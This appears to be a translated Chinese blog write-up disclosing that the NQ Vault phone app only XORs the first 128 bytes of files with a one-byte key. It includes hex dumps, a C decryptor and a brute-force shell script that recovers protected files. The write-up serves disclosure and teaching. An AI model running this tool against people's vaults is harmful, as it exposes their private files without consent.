看我如何用3天時(shí)間黑掉“網(wǎng)秦私密空間(NQ Vault)”
什么是“網(wǎng)秦私密空間(NQ Vault)”
“網(wǎng)秦私密空間”英文名為NQ Vault,是一款手機(jī)加密APP。它允許用戶設(shè)置一個(gè)隱私密碼以及對(duì)照片,文本,或者其他數(shù)據(jù)進(jìn)行“加密”。比如說,一個(gè)攻擊者需要進(jìn)入該設(shè)備查看其中內(nèi)容那么他就需要獲取這個(gè)隱私密碼。即使攻擊者從設(shè)備中拖出了這些數(shù)據(jù)也是沒用的,因?yàn)檫@些數(shù)據(jù)都是經(jīng)過加密處理的。
說起來,NQ Vault(下載地址)在谷歌商店中還有一個(gè)不錯(cuò)的評(píng)級(jí)呢:
1.最受歡迎的應(yīng)用,在全球范圍內(nèi)擁有超過3000萬用戶
2.CTIA - Techlicious 2012,最佳CTIA獎(jiǎng)項(xiàng)
3.PC Magazine - PC Magazine最近App
4.TRUSTe - 被收入“TRUSTe隱私封條”
5.全球移動(dòng)互聯(lián)網(wǎng)大會(huì) - TOP50
另外網(wǎng)秦的宣傳口號(hào)也不錯(cuò)——將你手機(jī)里的秘密全部藏起來!
在接下來的三天時(shí)間里,我將演示攻擊者如何將“網(wǎng)秦私密空間(NQ Vault)”加密了的數(shù)據(jù)拖出,并用幾秒鐘讀取到原始文件!
第一天
我使用GIMP做了一個(gè)1像素的圖片[test.png],運(yùn)行以下命令
echo NINJADOGE24 >> test.png
并且使用NQ Vault v6.1.00.22對(duì)其進(jìn)行加密,密碼為2424
test.png的原始文件如下:
0000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452 .PNG........IHDR 0000010: 0000 0001 0000 0001 0802 0000 0090 7753 ..............wS 0000020: de00 0000 0970 4859 7300 0003 b100 0003 .....pHYs....... 0000030: b101 f583 ed49 0000 0007 7449 4d45 07df .....I....tIME.. 0000040: 0401 0319 3a3d ca0b 0c00 0000 0c69 5458 ....:=.......iTX 0000050: 7443 6f6d 6d65 6e74 0000 0000 00bc aeb2 tComment........ 0000060: 9900 0000 0f49 4441 5408 1d01 0400 fbff .....IDAT....... 0000070: 00ff 0000 0301 0100 c706 926f 0000 0000 ...........o.... 0000080: 4945 4e44 ae42 6082 4e49 4e4a 4144 4f47 IEND.B`.NINJADOG 0000090: 4532 340a E24.
Vault的sqlite數(shù)據(jù)庫告訴了我們應(yīng)該在哪里找到加密文件
加密過后的文件,1427858907181.png:
0000000: 8d54 4a43 090e 1e0e 0404 0409 4d4c 4056 .TJC........ML@V
0000010: 0404 0405 0404 0405 0c06 0404 0494 7357 ..............sW
0000020: da04 0404 0d74 4c5d 7704 0407 b504 0407 .....tL]w.......
0000030: b505 f187 e94d 0404 0403 704d 4941 03db .....M....pMIA..
0000040: 0005 071d 3e39 ce0f 0804 0404 086d 505c ....>9.......mP\
0000050: 7047 6b69 6961 6a70 0404 0404 04b8 aab6 pGkiiajp........
0000060: 9d04 0404 0b4d 4045 500c 1905 0004 fffb .....M@EP.......
0000070: 04fb 0404 0705 0504 c302 966b 0404 0404 ...........k....
0000080: 4945 4e44 ae42 6082 4e49 4e4a 4144 4f47 IEND.B`.NINJADOG
0000090: 4532 340a E24.
有趣的是,我本以為他會(huì)對(duì)所有內(nèi)容進(jìn)行加密,包括結(jié)尾的NINJADOGE24,怎么看怎么像置換加密。
接著我使用http://jdejong.net/tools/bitwisecalculator.php 工具,結(jié)果如下:
89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49
XOR
8D 54 4A 43 09 0E 1E 0E 04 04 04 09 4D
=
04 04 04 04 04 04 04 04 04 04 04 04 04
哇,我有沒有提到過NQ Vault有幾個(gè)高級(jí)版本,每年需要支付$7.99?我打賭他使用的是XOR2048增強(qiáng)模式進(jìn)行加密。#p#
第二天
寫了一個(gè)XOR加密/解密程序。
//xor.c#include <stdio.h>#include <stdlib.h>int main(int argc, char *argv[]){ FILE *file_a, *file_b; int char_a, char_b; file_a = fopen(argv[1], "r"); file_b = fopen(argv[2], "r"); while((char_a = getc(file_a)) != EOF && (char_b = getc(file_b)) != EOF) putchar(char_a ^ char_b); fclose(file_a); fclose(file_b); return EXIT_SUCCESS;}
這時(shí)候使用一個(gè)1像素的jpg文件
0000000: ffd8 ffe0 0010 4a46 4946 0001 0101 0060 ......JFIF.....`
0000010: 0060 0000 ffe1 0352 4578 6966 0000 4d4d .`.....RExif..MM
0000020: 002a 0000 0008 0005 5100 0004 0000 0001 .*......Q.......
0000030: 0000 0000 5101 0003 0000 0001 0001 0000 ....Q...........
0000040: 5102 0001 0000 0300 0000 004a 5103 0001 Q..........JQ...
0000050: 0000 0001 0000 0000 5104 0001 0000 0001 ........Q.......
0000060: fc00 0000 0000 0000 0000 0000 0033 0000 .............3..
0000070: 6600 0099 0000 cc00 00ff 002b 0000 2b33 f..........+..+3
0000080: 002b 6600 2b99 002b cc00 2bff 0055 0000 .+f.+..+..+..U..
0000090: 5533 0055 6600 5599 0055 cc00 55ff 0080 U3.Uf.U..U..U...
00000a0: 0000 8033 0080 6600 8099 0080 cc00 80ff ...3..f.........
00000b0: 00aa 0000 aa33 00aa 6600 aa99 00aa cc00 .....3..f.......
-- snip --
0000590: bac2 c3c4 c5c6 c7c8 c9ca d2d3 d4d5 d6d7 ................
00005a0: d8d9 dae2 e3e4 e5e6 e7e8 e9ea f2f3 f4f5 ................
00005b0: f6f7 f8f9 faff da00 0c03 0100 0211 0311 ................
00005c0: 003f 00f9 1e8a 28af cdcf f7b0 ffd9 4e49 .?....(.......NI
00005d0: 4e4a 4144 4f47 4532 3420 0d0a NJADOGE24 ..
對(duì)4815162342進(jìn)行加密:
0000000: 3314 332c ccdc 868a 858a cccd cdcd ccac 3.3,............
0000010: ccac cccc 332d cf9e 89b4 a5aa cccc 8181 ....3-..........
0000020: cce6 cccc ccc4 ccc9 9dcc ccc8 cccc cccd ................
0000030: cccc cccc 9dcd cccf cccc cccd cccd cccc ................
0000040: 9dce cccd cccc cfcc cccc cc86 9dcf cccd ................
0000050: cccc cccd cccc cccc 9dc8 cccd cccc cccd ................
0000060: 30cc cccc cccc cccc cccc cccc ccff cccc 0...............
0000070: aacc cc55 cccc 00cc cc33 cce7 cccc e7ff ...U.....3......
0000080: 002b 6600 2b99 002b cc00 2bff 0055 0000 .+f.+..+..+..U..
0000090: 5533 0055 6600 5599 0055 cc00 55ff 0080 U3.Uf.U..U..U...
00000a0: 0000 8033 0080 6600 8099 0080 cc00 80ff ...3..f.........
00000b0: 00aa 0000 aa33 00aa 6600 aa99 00aa cc00 .....3..f.......
-- snip --
0000590: bac2 c3c4 c5c6 c7c8 c9ca d2d3 d4d5 d6d7 ................
00005a0: d8d9 dae2 e3e4 e5e6 e7e8 e9ea f2f3 f4f5 ................
00005b0: f6f7 f8f9 faff da00 0c03 0100 0211 0311 ................
00005c0: 003f 00f9 1e8a 28af cdcf f7b0 ffd9 4e49 .?....(.......NI
00005d0: 4e4a 4144 4f47 4532 3420 0d0a NJADOGE24 ..
Key:
0000000: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000010: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000020: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000030: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000040: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000050: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000060: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000070: cccc cccc cccc cccc cccc cccc cccc cccc ................
0000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
0000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
-- snip --
0000590: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005b0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005c0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00005d0: 0000 0000 0000 0000 0000 0000 0a .............
前面的128字節(jié)過后的內(nèi)容仍然保持原樣。這絕對(duì)是史上最棒的加密方法了!
我們嘗試使用001,002,003這類密碼,看看有沒有什么發(fā)現(xiàn)。
password key
000 30
001 31
002 32
003 33
004 34
..............
010 4f
011 50
012 51
..............
2424 04
4815162342 cc
好吧,我承認(rèn)現(xiàn)在開始我有一點(diǎn)興趣了。因?yàn)槊艽a為009之后,整個(gè)規(guī)律似乎已經(jīng)對(duì)不起來了。
不管怎么說,嘗試重建generateKey(password)都是毫無意義的。
我預(yù)感我會(huì)使用暴力破解,從00到ff(也就是0~255)直到我得到一個(gè)有效文件。#p#
第三天
我即興寫的XOR加密/解密程序,修改一下:
// vault-crack.c#include <stdio.h>#include <stdlib.h>int main(int argc, char *argv[]){ FILE *file_a; int char_a, char_b = strtol(argv[2], NULL, 10), i = 0; file_a = fopen(argv[1], "r"); while((char_a = getc(file_a)) != EOF) { if(i < 128) putchar(char_a ^ char_b) && i++; else putchar(char_a); } fclose(file_a); return EXIT_SUCCESS;}
暴力破解沒有想象中那么困難
#!/bin/sh
for i in `seq 0 255`; do
./vault-crack $1 $i > $1.decrypted
if [ `file $1.decrypted --brief --mime-type` != "application/octet-stream" ]
then
echo "Key = $i" && exit
fi
done
編譯vault-crack.c,將這個(gè)腳本與使用vault加密的文件放入同一個(gè)目錄下,最后使用如下命令對(duì)文件進(jìn)行解密
./vault-crack.sh ENCRYPTED_FILE
大功告成!
更新
bkerler以及phaeilo指出生成密鑰的關(guān)鍵代碼如下:
key = password.hashCode() & 0xff;
hashCode功能是由Java定義的:
static int hashCode(String password){ int h = 0; for (int i = 0; i < password.length(); i++) { h = 31*h + password.charAt(i); } return h;}
但是key仍然需要進(jìn)行暴力破解,因?yàn)榻饷芪募⒉恢烂艽a。